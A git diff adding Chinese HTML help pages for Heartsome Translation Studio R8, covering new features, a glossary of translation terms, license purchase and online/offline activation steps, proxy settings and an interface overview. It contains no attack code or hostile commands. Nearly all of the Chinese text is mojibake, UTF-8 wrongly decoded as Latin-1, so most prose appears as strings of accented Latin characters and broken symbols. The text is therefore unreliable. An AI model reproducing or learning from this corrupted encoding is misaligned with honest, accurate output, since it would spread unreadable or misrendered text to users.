      + +

      å¯åœ¨ä¸€ä¸ªç•Œé¢ä¸­ç®¡ç†æ‚¨æ‰€æœ‰çš„记忆库和术语库,自动ä¿å­˜æ‰€æœ‰ä½¿ç”¨è¿‡çš„æ•°æ®åº“æœåŠ¡å™¨è¿žæŽ¥ä¿¡æ¯ã€‚

      +
    10. +
    11. +

      支æŒæ›´å¤šæ–‡ä»¶æ ¼å¼

      + +

      Heartsome Translation Studio Release 8 中新增对 Adobe FrameMaker + 7/8/9/10 等多个版本 MIF 文件ã€Adobe InDesign IDMLã€SDL Trados XLIFFã€Déjà Vu + XLIFF å’Œ Wordfast Pro TXML 等文件格å¼çš„支æŒï¼›é‡æ–°å¼€å‘了 Microsoft Office + 2007/2010ã€HTML å’Œ SDL Trados TagEditor TTX 等文件的转æ¢å™¨ï¼Œæ›´åŠ å‡†ç¡®åœ°æŠ½å–å¯ç¿»è¯‘文本内容至 + XLIFF,æ高项目本地化质é‡ã€‚现在 Heartsome 已能很好地支æŒå„ç§æ–‡ä»¶æ ¼å¼ï¼Œç”¨æˆ·å¯ä»¥æ— ç—›åˆ‡æ¢åˆ° Heartsome + 工作环境中。

      +
    12. +
    13. +

      全新ã€é«˜æ•ˆçš„底层 XML 解æžå™¨

      + +

      大大æ高了打开文件和处ç†æ–‡ä»¶çš„速度,å‡å°‘等待时间,æ高了工作效率。

      +
    14. +
    15. +

      批é‡è½¬æ¢æ–‡ä»¶

      + +

      å°†æºæ–‡ä»¶è½¬æ¢ä¸º XLIFFã€æˆ–å°† XLIFF 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶æ—¶ï¼Œéƒ½å¯ä»¥ä»»æ„选择一个或多个文件进行批é‡è½¬æ¢ã€‚

      +
    16. +
    17. +

      独创的机器翻译预存功能

      + +

      支æŒåŒæ—¶å¯¹å¤šä¸ª XLIFF 文件进行预翻译,并首创直接在预翻译时将机器翻译预存到 XLIFF 文件中。预存的机器翻译译文类似于 + TM + 匹é…,å¯ä¾›ç”¨æˆ·ç¿»è¯‘æ—¶å‚考ã€å¹¶é¿å…用户在使用机器翻译时等待网络返回译文ã€ä¹Ÿæ— éœ€é‡å¤è®¿é—®æœºå™¨ç¿»è¯‘而支付é¢å¤–çš„æµé‡è´¹ç”¨ï¼Œæœ‰åŠ©äºŽèŠ‚约本地化项目制作æˆæœ¬ã€‚

      +
    18. +
    19. +

      支æŒæ›´å¤šæœºå™¨ç¿»è¯‘引擎

      + +

      ç›®å‰åŒæ—¶æ”¯æŒ Google Translate API v2ã€Bing Translator 两个机器翻译引擎,未æ¥å°†åŠ å…¥æ›´å¤š + MT 引擎的支æŒã€‚

      +
    20. +
    21. +

      å¯è§†åŒ–ã€åŸºäºŽæ–‡æœ¬æ®µå†…容的文件分割功能

      + +

      在 XLIFF 编辑器中æµè§ˆæ–‡æœ¬æ®µå†…容,并æ®æ­¤å†³å®šä»Žä½•å¤„将文件分割为更å°çš„部分,方便按内容章节分å‘本地化项目。

      +
    22. +
    23. +

      增强了快速翻译功能,支æŒå¤šæœ¯è¯­æ›¿æ¢

      + +

      增强了基于样例的机器翻译 (Example Based Machine Translation, EBMT) + 算法,支æŒåœ¨ä¸€ä¸ªåŒ¹é…中åŒæ—¶æ›¿æ¢å¤šä¸ªæœ¯è¯­ã€‚

      +
    24. +
    25. +

      更加çµæ´»çš„å“质检查功能

      + +

      å¯ä»¥è®¾ç½®åœ¨å®Œæˆç¿»è¯‘或批准时自动执行指定的å“质检查项,也å¯ä»¥æ‰‹åŠ¨æ‰§è¡Œå•ä¸ªæˆ–多个指定的å“质检查项,适åˆå„ç§éœ€æ±‚ã€å„ç§è§’色的用户。

      +
    26. +
    27. +

      æ”¯æŒ RTF 外部校对

      + +

      å¯å°† XLIFF 文件的内容导出到 RTF 文件中进行外部校对,并将改动导入更新到 XLIFF 中。

      +
    28. +
    29. +

      一键é”定é‡å¤æ–‡æœ¬æ®µåŠç¹æ®–翻译

      + +

      一键智能判断并自动é”定é‡å¤æ–‡æœ¬æ®µã€åŒæ—¶ä¿ç•™ç¬¬ä¸€æ¬¡å‡ºçŽ°çš„文本段为未é”定状æ€ï¼Œä¸éœ€è¦ç¹ç的人工选择ã€åŒæ—¶é¿å…人为引入错误。在翻译完æˆåŽå¯ä¸€æ¬¡æ€§è§£é”并使用ç¹æ®–翻译将译文应用到所有é‡å¤æ–‡æœ¬æ®µã€‚

      +
    30. +
    31. +

      丰富的字数统计信æ¯

      + +

      基于文本段和字数两ç§å•ä½ç»Ÿè®¡ï¼Œå«å†…部ã€å¤–部é‡å¤åŠæ¨¡ç³ŠåŒ¹é…ä¿¡æ¯ã€åŠ æƒå­—æ•°ä¿¡æ¯ï¼Œæ¯çº§å­æ–‡ä»¶å¤¹çš„å­—æ•°ä¿¡æ¯è‡ªåŠ¨æ±‡æ€»æ˜¾ç¤ºï¼Œæ–¹ä¾¿æŒ‰å·¥ä½œé‡åˆ†å‘作业。

      +
    32. +
    33. +

      许å¯è¯ç®¡ç†

      + +

      自助激活ã€å–消激活许å¯è¯ï¼Œå…人工处ç†ï¼Œæžå¤§åœ°æ–¹ä¾¿éœ€è¦é¢‘ç¹åœ¨å¤šå°ç”µè„‘中(办公室ã€å®¶ä¸­ã€å°å¼æœºã€ç¬”记本等)切æ¢ä½¿ç”¨åŒä¸€ä¸ªè®¸å¯è¯çš„用户。

      +
    34. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch02.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch02.html new file mode 100644 index 0000000..a24c9e0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch02.html @@ -0,0 +1,138 @@ + + + +约定与术语 + + + + + + + +
    +

    +约定与术语

    + + +
      +
    1. +

      约定

      + +

      以下是本帮助手册中使用的文本样å¼ï¼š

      + +
        +
      • +

        按钮

        +
      • +
      • +

        图标

        +
      • +
      • +

        文字标签

        +
      • +
      • +

        èœå•

        +
      • +
      • +

        èœå•é¡¹

        +
      • +
      • +

        å­èœå•

        +
      • +
      • +

        对è¯æ¡†æ ‡é¢˜

        +
      • +
      • +

        按键å称

        +
      • +
      • +

        强调文本

        +
      • +
      • +

        “引用内容â€

        +
      • +
      • +

        产å“å称

        +
      • +
      • +

        产å“版本å·

        +
      • +
      • +

        文件类型

        +
      • +
      +
    2. +
    3. +

      术语表

      + +

      本帮助手册使用的术语和缩写:

      +
    4. +
    + +
    +

    +术语表

    +
    +
    HSTS
    +

    Heartsome Translation Studio 的缩写。

    +
    CAT
    +

    Computer-Assisted Translation, Computer-Aided + Translation,å³è®¡ç®—机辅助翻译的缩写。Heartsome Translation Studio 也属于 CAT + 工具的一ç§ã€‚

    +
    项目
    +

    一次ã€ä¸€ä¸ªé˜¶æ®µæ€§æˆ–一系列相关的翻译任务,在 Heartsome Translation Studio + 中统称为一个项目。项目至少包å«ä¸‰ä¸ªè¦ç´ ï¼šè¾“入(æºæ–‡ä»¶ï¼‰ã€ä¸­é—´å¤„ç†ï¼ˆXLIFF + 文件)ã€è¾“出(目标文件),还å¯èƒ½ä¼šæœ‰å…¶ä»–辅助è¦ç´ ï¼šè®°å¿†åº“(TMX 文件)ã€æœ¯è¯­åº“(TBX + 文件)ã€æŠ¥å‘Šï¼ˆå­—数分æžï¼‰ç­‰ç­‰ã€‚

    +
    æºæ–‡ä»¶
    +

    翻译项目中,待翻译内容的载体,内容为æºè¯­è¨€çš„文件,其中的内容将在项目进行过程中被翻译为目标语言。

    +
    XLIFF 文件
    +

    基于 XLIFF 开放标准的本地化åŒè¯­æ–‡ä»¶ï¼Œæ˜¯ Heartsome Translation Studio + 处ç†çš„主文件格å¼ï¼Œç»æºæ–‡ä»¶è½¬æ¢è€Œæˆã€‚除æºæ–‡å†…容外,XLIFF + 中还包å«è¯‘æ–‡åŠæ¯ä¸ªæ–‡æœ¬æ®µçš„处ç†çŠ¶æ€ç­‰å®Œæ•´çš„翻译æµç¨‹ä¿¡æ¯ã€‚在项目结æŸæ—¶å°†è½¬æ¢ä¸ºç›®æ ‡æ–‡ä»¶ä½œä¸ºç¿»è¯‘结果的输出。

    +
    目标文件
    +

    å°†æºæ–‡ä»¶ä¸­çš„内容翻译为目标语言åŽå¾—到的文件,是项目结æŸæ—¶çš„产出物。

    +
    翻译记忆库
    +

    用æ¥ä¿å­˜å·²ç¿»è¯‘过的å¥å­çš„æºæ–‡å’Œå¯¹åº”译文的数æ®åº“,有时也简称为记忆库ã€TM。

    +
    术语库
    +

    用æ¥ä¿å­˜æœ¯è¯­æºæ–‡åŠè¯‘文的数æ®åº“。

    +
    æ•°æ®åº“
    +

    对记忆库和术语库的统称。

    +
    æ•°æ®åº“æœåŠ¡å™¨
    +

    安装了 MySQLã€PostgreSQLã€Oracleã€Microsoft SQL Server + 等数æ®åº“系统的计算机,å¯ä¾› HSTS 在其中创建记忆库和术语库。

    +
    TMX 文件
    +

    基于 TMX 开放标准的记忆库交æ¢æ–‡ä»¶ï¼Œå°†è®°å¿†åº“中ä¿å­˜çš„å¥å­åŠè¯‘文导出到 TMX 文件中,å¯ä»¥åœ¨ä¸åŒçš„ CAT + 工具之间交æ¢è®°å¿†åº“。

    +
    TBX 文件
    +

    基于 TBX 开放标准的术语库交æ¢æ–‡ä»¶ï¼Œå°†æœ¯è¯­åº“中ä¿å­˜çš„术语åŠè¯‘文导出到 TBX 文件中,å¯ä»¥åœ¨ä¸åŒçš„ CAT + 工具之间交æ¢æœ¯è¯­åº“。

    +
    文本段
    +

    XLIFF + 文件中的一个翻译å•å…ƒï¼Œå«æºæ–‡ã€è¯‘æ–‡ã€æ‰¹æ³¨åŠç›¸å…³çš„状æ€ç­‰å±žæ€§ä¿¡æ¯ã€‚æºæ–‡å’Œè¯‘文通常为一个å¥å­ï¼Œä¹Ÿå¯ä»¥æ˜¯è¯ç»„ã€çŸ­è¯­ç­‰ã€‚

    +
    匹é…率
    +

    两个å¥å­çš„相似程度,按百分比计算,其值在 0~101% 之间。

    +
    匹é…
    +

    记忆库中满足指定匹é…率æ¡ä»¶çš„一个文本段,有æºæ–‡ã€è¯‘æ–‡ã€åŒ¹é…率等属性。

    +
    完全匹é…
    +

    匹é…率为 100% 的匹é…。

    +
    上下文匹é…
    +

    在完全匹é…的基础之上,上下文信æ¯ï¼ˆé€šå¸¸ä¸ºä¸Šä¸€ä¸ªå¥å­å’Œä¸‹ä¸€ä¸ªå¥å­ï¼‰ä¹Ÿä¸Žæ–‡æœ¬æ®µä¸€è‡´çš„匹é…,其匹é…率被定义为 + 101%。

    +
    预翻译
    +

    在由翻译人员进行人工翻译之å‰ï¼Œä½¿ç”¨è®°å¿†åº“预先自动翻译。å³åœ¨è®°å¿†åº“中查找并添加指定的 XLIFF + 文件中的æ¯ä¸ªæ–‡æœ¬æ®µçš„匹é…,并将 100% 匹é…å’Œ 101% 匹é…应用到译文中的过程。

    +
    模糊匹é…
    +

    匹é…率低于 100%(ä¸å« 100%)的匹é…。

    +
    内部é‡å¤æ–‡æœ¬æ®µ
    +

    åŒä¸€ä¸ªé¡¹ç›®å†…(包括åŒä¸€ä¸ªæ–‡ä»¶å†…部和åŒä¸€é¡¹ç›®çš„多个文件之间),2 ä¸ªä»¥ä¸Šï¼ˆå« 2 个)æºæ–‡å®Œå…¨ä¸€æ ·çš„文本段。

    +
    完全匹é…文本段
    +

    有记忆库完全匹é…的文本段。

    +
    上下文匹é…文本段
    +

    有记忆库上下文匹é…的文本段。

    +
    模糊匹é…文本段
    +

    有记忆库模糊匹é…的文本段。

    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch03.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch03.html new file mode 100644 index 0000000..195c095 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch03.html @@ -0,0 +1,367 @@ + + + +许å¯è¯ + + + + + + + +
    +

    +许å¯è¯

    + + +

    购买和使用 Heartsome Translation Studio 许å¯è¯çš„æµç¨‹ä¸»è¦æœ‰å¦‚下几ç§ï¼š

    + +
      +
    1. +

      完整处ç†æµç¨‹æ¦‚è¿°

      + +

      按照用户是å¦ä¸ºå…¨æ–°è´­ä¹°è®¸å¯è¯æ¥åŒºåˆ†ï¼Œè®¸å¯è¯çš„处ç†æµç¨‹å¯ä»¥åˆ†ä¸ºå¦‚下两ç§ï¼š

      + +
        +
      1. +

        全新购买

        + +

        这是所有用户在第一次购买许å¯è¯æ—¶çš„处ç†æµç¨‹ï¼Œè¯¦æƒ…è§ä¸‹å›¾ã€‚

        + +
        +

        图 1. 全新购买的许å¯è¯å¤„ç†æµç¨‹

        +
        + + +
        全新购买的许å¯è¯å¤„ç†æµç¨‹
        +
        +
        +
        +
      2. +
      3. +

        é‡æ–°æ¿€æ´»

        + +

        如果用户打算é‡æ–°å®‰è£…æ“作系统ã€æˆ–打算在å¦ä¸€å°è®¡ç®—机上使用 Heartsome Translation + Studio,则需è¦æŒ‰ç…§ä¸‹å›¾æ‰€ç¤ºçš„æµç¨‹æ¥é‡æ–°æ¿€æ´»è®¸å¯è¯ã€‚

        + +
        +

        图 2. é‡è£…系统/æ›´æ¢ç”µè„‘的许å¯è¯å¤„ç†æµç¨‹

        +
        + + +
        é‡è£…系统/æ›´æ¢ç”µè„‘的许å¯è¯å¤„ç†æµç¨‹
        +
        +
        +
        +
      4. +
      +
    2. +
    3. +

      购买方法

      + +

      å¯ä»¥é€šè¿‡ Heartsome 官方网站购买 Translation Studio R8 的许å¯è¯ï¼Œæ­¥éª¤å¦‚下:

      + +
        +
      1. +

        访问网站 www.heartsome.net,点击在线购买按钮;

        +
      2. +
      3. +

        输入姓åã€ç”µå­é‚®ç®±ï¼ŒåŠå…¶ä»–选填信æ¯ï¼›

        +
      4. +
      5. +

        选择è¦è´­ä¹°çš„产å“åŠç‰ˆæœ¬ç±»åž‹ï¼Œå¹¶è¾“入购买数é‡ï¼›

        +
      6. +
      7. +

        点击æ交按钮,å†æ¬¡ç¡®è®¤è®¢å•ä¿¡æ¯æ— è¯¯åŽï¼Œç‚¹å‡»é€šè¿‡ + Paypal 支付按钮,并按相应的æ示进行支付;

        +
      8. +
      9. +

        支付æˆåŠŸåŽï¼ŒHeartsome 自动将许å¯è¯å‘é€åˆ°æ‚¨å¡«å†™çš„邮箱。

        +
      10. +
      +
    4. +
    5. +

      激活许å¯è¯

      +
      +

      注æ„

      +

      如果是 Windows Vista/7/8 的用户,请使用å³é”®ç‚¹å‡»â€œHeartsome + Translation + Studio.exeâ€æˆ–其快æ·æ–¹å¼ï¼Œé€‰æ‹©ä»¥ç®¡ç†å‘˜èº«ä»½è¿è¡Œã€å¹¶æŒ‰æ示输入用户å和密ç ï¼Œå¦åˆ™å¯èƒ½æ— æ³•æ­£å¸¸æ¿€æ´»è®¸å¯è¯ã€‚

      + +
      +

      图 3. 以管ç†å‘˜èº«ä»½è¿è¡Œ

      +
      + + +
      +
      以管ç†å‘˜èº«ä»½è¿è¡Œ
      +
      +
      +
      +
      + +
      +

      图 4. 确认以管ç†å‘˜èº«ä»½è¿è¡Œ

      +
      + + +
      +
      确认以管ç†å‘˜èº«ä»½è¿è¡Œ
      +
      +
      +
      +
      +
      + +

      如果 HSTS 当å‰æ²¡æœ‰æ¿€æ´»ä»»ä½•è®¸å¯è¯ã€æˆ–激活的试用许å¯è¯å·²ç»è¿‡æœŸï¼Œåˆ™åœ¨è¿è¡Œæ—¶ä¼šè‡ªåŠ¨å¼¹å‡º EULA + 用户许å¯å议和许å¯è¯ç®¡ç†å¯¹è¯æ¡†ã€‚è‹¥è¦å°†å½“å‰æ­£åœ¨ä½¿ç”¨ã€å°šæœªè¿‡æœŸçš„试用许å¯è¯æ›´æ¢æˆå•†ä¸šè®¸å¯è¯ï¼Œåˆ™éœ€è¦å…ˆå–消激活当å‰çš„试用许å¯è¯ã€‚

      + +
      +

      图 5. 激活方å¼

      +
      + + +
      +
      激活方å¼
      +
      +
      +
      +
      + +

      激活方å¼æŽ¨è使用在线激活,此方å¼ä¸ºå…¨ç¨‹è‡ªåŠ©æ“作ã€æ— é¡»äººå·¥å®¡æ ¸æˆ–处ç†ï¼Œæ•°åˆ†é’Ÿå†…完æˆæ¿€æ´»åŽå¯ä»¥ç«‹å³å¼€å§‹ä½¿ç”¨æœ¬è½¯ä»¶ã€‚而离线激活方å¼åˆ™ç”±äºŽéœ€è¦äººå·¥å¤„ç†ï¼Œæ•…需è¦ç­‰å¾…一个工作日左å³æ‰èƒ½å®Œæˆå…¨éƒ¨æ¿€æ´»è¿‡ç¨‹ï¼Œä»…商业许å¯è¯å¯ä»¥ä½¿ç”¨æ­¤æ–¹å¼ã€‚

      + +

      一ã€åœ¨çº¿æ¿€æ´»ï¼š

      + +
        +
      1. +

        在许å¯è¯ç®¡ç†å¯¹è¯æ¡†ä¸­ï¼Œå°†ä»Žé‚®ä»¶ä¸­å¤åˆ¶çš„许å¯è¯å·ç ç²˜è´´åˆ°ç¬¬ä¸€ä¸ªæ–‡æœ¬æ¡†ï¼Œå…¶ä½™æ–‡æœ¬æ¡†å°†è‡ªåŠ¨å¡«å……ï¼›

        + +
        +

        图 6. 输入许å¯è¯

        +
        + + +
        +
        输入许å¯è¯
        +
        +
        +
        +
        +
      2. +
      3. +

        确认已连接网络。如果您通过代ç†æœåŠ¡å™¨è¿žæŽ¥ + Internet,请点击网络连接按钮,打开如下设置界é¢ï¼š

        + +
        +

        图 7. 选项:网络连接

        +
        + + +
        +
        选项:网络连接
        +
        +
        +
        +
        + +

        æ ¹æ®æ‚¨çš„实际情况设置代ç†æœåŠ¡å™¨çš„é…置方å¼ï¼š

        + +
          +
        • +

          如果您的æ“作系统已ç»é…置好代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©é…置方å¼ä¸ºç³»ç»Ÿé»˜è®¤ä»£ç†ã€‚

          +
        • +
        • +

          如果您想专门为 HSTS + 设置代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©é…置方å¼ä¸ºè‡ªå®šä¹‰ä»£ç†ï¼Œç„¶åŽåœ¨ä»£ç†æœåŠ¡å™¨åˆ—表中åŒå‡»è¦è®¾ç½®çš„代ç†æœåŠ¡å™¨ç±»åž‹ï¼ˆHTTPã€HTTPS + 或 + SOCKS),输入代ç†æœåŠ¡å™¨çš„主机地å€ã€ç«¯å£ï¼Œè€Œå¯é€‰è¾“入的用户å和密ç åˆ™å–决于您的代ç†æœåŠ¡å™¨æ˜¯å¦è¦æ±‚身份验è¯ã€‚

          + +
          +

          图 8. 选项:网络连接 - 自定义代ç†

          +
          + + +
          +
          选项:网络连接 - 自定义代ç†
          +
          +
          +
          +
          + +

          此外,还å¯ä»¥ä¸ºè‡ªå®šä¹‰ä»£ç†è®¾ç½®ä¸€äº›ç‰¹æ®Šçš„例外主机地å€ï¼Œå³ä»…在访问这些例外主机地å€æ—¶ä¸ä½¿ç”¨ä»£ç†æœåŠ¡å™¨ã€è€Œæ˜¯ç›´æŽ¥è¿žæŽ¥ã€‚需è¦è®¾ç½®ä¸ºä¾‹å¤–的情况,通常是本机(localhost + å’Œ 127.0.0.1)和局域网(192.168.*.*)地å€ã€‚

          + +
          +

          图 9. 选项:网络连接 - 例外主机地å€

          +
          + + +
          +
          选项:网络连接 - 例外主机地å€
          +
          +
          +
          +
          +
        • +
        • +

          如果想ç¦ç”¨ä»£ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©é…置方å¼ä¸ºç›´æŽ¥è¿žæŽ¥ã€‚

          +
        • +
        + +

        é…置好代ç†æœåŠ¡å™¨åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®è¿”回许å¯è¯ç®¡ç†å¯¹è¯æ¡†ã€‚

        +
      4. +
      5. +

        点击激活按钮;

        + +
        +

        图 10. è”网激活许å¯è¯

        +
        + + +
        +
        è”网激活许å¯è¯
        +
        +
        +
        +
        +
      6. +
      7. +

        若无异常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ï¼Œé‡æ–°æ‰“开许å¯è¯ç®¡ç†å¯¹è¯æ¡†ï¼Œå³å¯çœ‹åˆ°è®¸å¯è¯çŠ¶æ€ä¸ºå·²æ¿€æ´»ã€‚

        +
      8. +
      + +

      二ã€ç¦»çº¿æ¿€æ´»

      + +

      在使用离线激活方å¼ä¹‹å‰ï¼Œè¯·å…ˆç¡®è®¤æ‚¨å·²è´­ä¹°å•†ä¸šè®¸å¯è¯ï¼Œè€Œéžè¯•ç”¨è®¸å¯è¯ã€‚离线激活需è¦å¦‚下四个步骤æ¥å®Œæˆï¼š

      + +
        +
      1. +

        输入åºåˆ—å·

        + +

        在下图中输入您购买的商业许å¯è¯åºåˆ—å·ï¼Œç‚¹å‡»ä¸‹ä¸€æ­¥æŒ‰é’®ã€‚

        + +
        +

        图 11. 离线激活:输入åºåˆ—å·

        +
        + + +
        +
        离线激活:输入åºåˆ—å·
        +
        +
        +
        +
        +
      2. +
      3. +

        获å–激活ç 

        + +

        下图所示的界é¢ä¸Šï¼Œæ˜¾ç¤ºäº†è½¯ä»¶è‡ªåŠ¨ç”Ÿæˆçš„激活ç ï¼Œæ‚¨åªéœ€å°†å…¶å¤åˆ¶åˆ°é‚®ä»¶æˆ–文本文件中,将其å‘é€åˆ° + ,然åŽç­‰å¾… Heartsome 的处ç†ã€‚这时您å¯ä»¥é€€å‡ºæœ¬è½¯ä»¶ã€‚

        + +
        +

        图 12. 离线激活:获å–激活ç 

        +
        + + +
        +
        离线激活:获å–激活ç 
        +
        +
        +
        +
        +
      4. +
      5. +

        获å–授æƒæ–‡ä»¶

        + +

        Heartsome + 在收到您æ供的激活ç ä¹‹åŽï¼Œä¼šå°†ç›¸åº”的授æƒæ–‡ä»¶ï¼ˆæ–‡ä»¶å为â€åºåˆ—å·.lic“形å¼ï¼‰ä»¥é™„件形å¼å‘é€åˆ°æ‚¨çš„邮箱。请将收到的授æƒæ–‡ä»¶ä»Žé‚®ä»¶ä¸­ä¿å­˜åˆ°æ‚¨çš„本地硬盘中,然åŽé‡å¤ä¸Šè¿°ç¬¬ä¸€ã€äºŒæ­¥æ“作,并在上图的界é¢ä¸­ç›´æŽ¥ç‚¹å‡»ä¸‹ä¸€æ­¥æŒ‰é’®ã€‚

        + +

        如果您想一次性以离线方å¼æ¿€æ´»å¤šä¸ªè®¸å¯è¯ï¼Œä¹Ÿå¯ä»¥ç”¨ Excel 文件(.xls + æ ¼å¼ï¼‰ä¿å­˜æ¿€æ´»ç ï¼Œè¯·å°†æ¿€æ´»ç æ”¾åœ¨ Excel + 表格的第一列ã€ä¸”æ¯è¡Œåªæ”¾ä¸€ä¸ªæ¿€æ´»ç ã€‚为方便识别和管ç†å¤šä¸ªè®¸å¯è¯ï¼Œæ‚¨è¿˜å¯ä»¥åœ¨è¡¨æ ¼çš„第二ã€ä¸‰åˆ—ä¿å­˜ä¸Žæ¿€æ´»ç ç›¸å¯¹åº”的许å¯è¯åºåˆ—å·ã€ä½¿ç”¨è€…姓å或计算机å等附加信æ¯ï¼Œä½†åªæœ‰ç¬¬ä¸€åˆ—的激活ç æ˜¯å¿…需的。

        +
      6. +
      7. +

        完æˆæ¿€æ´»

        + +

        点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©æ”¶åˆ°çš„ .lic + 文件,然åŽç‚¹å‡»æ¿€æ´»æŒ‰é’®ã€‚

        + +
        +

        图 13. 离线激活:完æˆæ¿€æ´»

        +
        + + +
        +
        离线激活:完æˆæ¿€æ´»
        +
        +
        +
        +
        + +

        若无异常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ã€‚

        +
      8. +
      +
    6. +
    7. +

      å–消激活许å¯è¯

      + +

      如果属于如下情况之一,则需è¦å…ˆè¿›è¡Œå–消激活许å¯è¯çš„æ“作:

      + +
        +
      • +

        打算将当å‰çš„“试用许å¯è¯â€æ›´æ¢æˆè´­ä¹°çš„“商业许å¯è¯â€ï¼›

        +
      • +
      • +

        打算é‡æ–°å®‰è£…æ“作系统;

        +
      • +
      • +

        打算将当å‰ä½¿ç”¨çš„许å¯è¯è½¬ç§»åˆ°å¦ä¸€å°è®¡ç®—机上使用。

        +
      • +
      + +

      å–消激活许å¯è¯çš„步骤如下:

      + +
        +
      1. +

        è¿è¡Œ HSTS åŽï¼ˆWindows Vista/7/8 + 用户ä»éœ€è¦ä»¥ç®¡ç†å‘˜èº«ä»½è¿è¡Œï¼‰ï¼Œç‚¹å‡»å¸®åŠ©èœå• > + 许å¯è¯ç®¡ç†ï¼›

        + +
        +

        图 14. 许å¯è¯ç®¡ç†

        +
        + + +
        +
        许å¯è¯ç®¡ç†
        +
        +
        +
        +
        +
      2. +
      3. +

        确认已连接网络,如需设置代ç†æœåŠ¡å™¨ï¼Œè¯·å‚考上一节;

        +
      4. +
      5. +

        在许å¯è¯çŠ¶æ€åŽé¢ï¼Œç‚¹å‡»å–消激活按钮,并确认;

        + +
        +

        图 15. 确认å–消激活

        +
        + + +
        +
        确认å–消激活
        +
        +
        +
        +
        +
      6. +
      7. +

        å¾…æ“作完æˆåŽï¼Œè½¯ä»¶å°†è‡ªåŠ¨é‡æ–°å¯åŠ¨ï¼Œé‡å¯åŽè®¸å¯è¯çŠ¶æ€å˜ä¸ºæ— è®¸å¯è¯ã€‚

        +
      8. +
      +
    8. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04.html new file mode 100644 index 0000000..ad211ad --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04.html @@ -0,0 +1,160 @@ + + + +ç•Œé¢æ¦‚览 + + + + + + + +
    +

    +ç•Œé¢æ¦‚览

    + + +
    +

    +1. 主界é¢

    + + +

    Heartsome Translation Studio 的主界é¢å¦‚下图所示:

    + +
    +

    图 16. Heartsome Translation Studio 主界é¢

    +
    + + +
    +
    Heartsome Translation Studio 主界é¢
    +
    +
    +
    +
    + +

    HSTS 的主界é¢å¯ä»¥åˆ†ä¸ºä»¥ä¸‹å‡ ä¸ªéƒ¨åˆ†ï¼š

    + +
      +
    1. +

      主èœå•

      + +

      在主èœå•é‡Œå¯ä»¥æ‰¾åˆ°æ‰€æœ‰åŠŸèƒ½çš„å…¥å£ã€‚

      + +
      +

      图 17. 主èœå•

      +
      + + +
      +
      主èœå•
      +
      +
      +
      +
      +
    2. +
    3. +

      工具æ 

      + +

      工具æ æ供了最常用的功能。把鼠标放在æ¯ä¸ªå›¾æ ‡ä¸Šï¼Œå¯ä»¥çœ‹åˆ°è¯¥å›¾æ ‡å¯¹åº”的功能åŠå…¶å¿«æ·é”®ã€‚

      + +
      +

      图 18. 工具æ 

      +
      + + +
      +
      工具æ 
      +
      +
      +
      +
      +
    4. +
    5. +

      视图

      + +

      ä¸åŒçš„视图æ供了ä¸åŒçš„特定功能,详情请è§ä¸‹ä¸€èŠ‚。

      +
    6. +
    7. +

      XLIFF 编辑器

      + +

      在 XLIFF + 编辑器中完æˆæ‰€æœ‰æ–‡å­—输入和编辑的æ“作,详情请è§ç¬¬Â 3 节 “XLIFF 编辑器â€ã€‚

      +
    8. +
    9. +

      状æ€æ 

      + +

      状æ€æ æ˜¾ç¤ºäº†å…³äºŽå½“å‰æ­£åœ¨æ“作的文件åŠæ–‡æœ¬æ®µçš„基本信æ¯å’Œæ–‡ä»¶å¤„ç†è¿›åº¦ï¼Œè‹¥ç¨‹åºæ­£åœ¨åŽå°æ‰§è¡Œä»»åŠ¡ï¼Œä¹Ÿä¼šåœ¨çŠ¶æ€æ æ˜¾ç¤ºç›¸åº”的进度信æ¯ã€‚

      +
      +

      图 19. 状æ€æ 

      +
      + + +
      +
      状æ€æ 
      +
      +
      +
      +


      对于因å—å±å¹•é¢ç§¯æ‰€é™è€Œæœªèƒ½å®Œæ•´æ˜¾ç¤ºçš„内容,也å¯ä»¥åœ¨é¼ æ ‡æ”¾ä¸ŠåŽ»ä¹‹åŽæ˜¾ç¤º Tooltip æ示。

      + +
      +

      图 20. 状æ€æ æ示

      +
      + + +
      +
      状æ€æ æ示
      +
      +
      +
      +
      + +
        +
      • +

        当å‰æ–‡ä»¶

        + +

        å³å½“å‰ç¼–辑器打开的 XLIFF 文件,以路径的形å¼æ˜¾ç¤ºï¼Œç¬¬ä¸€çº§ç›®å½•ä¸ºé¡¹ç›®ã€‚

        +
      • +
      • +

        è¡Œå·

        + +

        å³æ–‡æœ¬æ®µåºå·ã€‚

        +
      • +
      • +

        å¯è§æ–‡æœ¬æ®µæ•°

        + +

        按照当å‰â€œæ–‡æœ¬æ®µè¿‡æ»¤è§„则â€è¿‡æ»¤åŽæ˜¾ç¤ºçš„文本段数é‡ã€‚

        +
      • +
      • +

        文本段总数

        + +

        该编辑器中打开 XLIFF 的文本段总数:若为å•ç‹¬æ‰“开的 XLIFF,则为该 XLIFF + 文件所包å«çš„文本段数é‡ï¼›è‹¥ä¸ºåˆå¹¶æ‰“开的多个 XLIFF,则为åˆå¹¶æ‰“开的所有 XLIFF 文件中的文本段数é‡ä¹‹å’Œã€‚

        +
      • +
      • +

        用户å

        + +

        工具èœå• > 选项 + > + 系统中设置的用户å,默认情况下与æ“作系统的登录用户å相åŒã€‚

        +
      • +
      • +

        翻译进度

        + +

        状æ€ä¸ºâ€œå·²ç¿»è¯‘â€çš„文本段数é‡å æ–‡æœ¬æ®µæ€»æ•°çš„百分比。

        +
      • +
      • +

        批准进度

        + +

        状æ€ä¸ºâ€œå·²æ‰¹å‡†â€çš„文本段与“已签å‘â€çš„文本段数é‡ä¹‹å’Œå æ–‡æœ¬æ®µæ€»æ•°çš„百分比。

        +
      • +
      +
    10. +
